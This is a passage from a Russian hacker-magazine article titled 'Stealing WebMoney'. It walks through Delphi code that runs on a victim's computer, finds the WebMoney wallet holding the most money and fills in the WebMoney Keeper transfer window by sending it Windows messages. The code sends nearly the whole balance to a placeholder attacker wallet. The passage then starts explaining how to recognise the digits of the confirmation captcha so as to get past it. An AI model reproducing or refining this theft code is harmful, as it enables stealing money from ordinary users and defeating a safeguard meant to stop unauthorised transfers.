Уводим WebMoney SIR (sir-xaker@mail.ru) Хакер, номер #090, стр. 090-116-3 GetLocaleFormatSettings(LANG_SYSTEM_DEFAULT,format); format.DecimalSeparator:='.'; Теперь мы будем искать кошелек, на котором больше всего денег. Ищем самый толстый кошелек var ind:integer; koef,max:real; ind:=0; max:=0.0; for i:=1 to stop do begin case Kosh[i].RZUE of 'R': koef:=1.0; 'Z': koef:=27.2; 'E': koef:=34.2; 'U': koef:=5.3; else koef:=0.0; end; if max<Kosh[i].Sum*koef then begin max:=Kosh[i].Sum*koef; ind:=i; end; end; Тут мы приводим всю валюту к WMR путем умножения на их курсы и ищем максимальное значение. Если после выполнения кода в ind записано 0, то у юзера не будет денег ни в одном кошельке. Ну вот, теперь заполняем все поля окна перевода. Заполняем поля в окне "Передать WM" for i:=1 to (stop-ind) do begin PostMessage(TransWnd[1],WM_KEYDOWN,VK_UP,0); PostMessage(TransWnd[1],WM_KEYUP,VK_UP,0); end; SendMessage(TransWnd[3],WM_SETTEXT,0,LongInt(PChar('[Твой WM кошелек]'))); SendMessage(TransWnd[2],WM_SETTEXT,0,LongInt(PChar(FloatToStr(0.992*Kosh[ind].Sum)))); SendMessage(TransWnd[4],WM_SETTEXT,0,LongInt(PChar('В Мировой фонд хакеров!'))); PostMessage(TransWnd[8],WM_KEYDOWN,VK_RETURN,0); PostMessage(TransWnd[8],WM_KEYUP,VK_RETURN,0); Ну что же, перейдем к более сложной части нашего повествования Распознавание Если ты уже когда-нибудь пользовался программой WM, то должен был еще в самом начале задаться вопросом: как же обойти подтверждение перевода, ведь там необходимо вводить трехзначное число из картинки!? Мой ответ – никак! Моих знаний ассемблера недостаточно, чтобы проигнорировать эту процедуру. Поэтому придется тупо распознавать эти три меняющиеся в размере цифры. Вообще-то, это отдельная статья, и если кто-нибудь меня хорошо попросит, я могу и о ней написать, так как в инете про это, увы, ничего не сказано. (Именно про алгоритм можно почитать тут - http://www.xakep.ru/magazine/xa/073/120/1.asp - прим. редактора). Сначала разберемся, что за цифры мы имеем: эта цветная картинка, без рамки имеет размер 46x18 пикселей. Всего три цифры. Первая цифра может принимать два положения — среднее и большое, вторая - среднее и маленькое, третья - среднее, большое, маленькое и наклонное. Но они всегда располагаются в одном и том же месте. Правда, размер окна и положение самой картинки не всегда одинаков (однако всегда неизменным остается ее положение по отношению к нижнему левому краю). |